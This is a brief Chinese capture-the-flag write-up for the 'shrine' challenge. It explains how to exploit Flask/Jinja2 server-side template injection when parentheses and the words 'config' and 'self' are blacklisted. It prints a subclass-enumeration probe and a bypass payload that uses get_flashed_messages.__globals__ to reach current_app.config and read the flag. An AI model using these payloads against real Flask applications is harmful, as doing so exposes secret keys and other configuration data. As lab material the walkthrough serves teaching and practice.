当config和()被列入黑名单时的flask-ssti—shrine-攻防世界
进入网页,源代码有点凌乱,ctrl+u查看源码
尝试ssti,随便输入/shrine/123
说明存在模块注入
参考:
https://www.cnblogs.com/NPFS/p/12764599.html
输入{{''.__class__.__mro__[2].__subclasses__()}}
但是仔细分析源代码会发现这里过滤了()和把'config','self'加入了黑名单
所以这里不能使用常规的ssti的模板
这个时候我们想到了内置函数get_flashed_messages(),又应为config在current_app里面,所以我们可以构造payload
{{get_flashed_messages.__globals__['current_app'].config['FLAG']}}
这样就可以绕过
参考自:
https://www.cnblogs.com/linkzoom/articles/15273072.html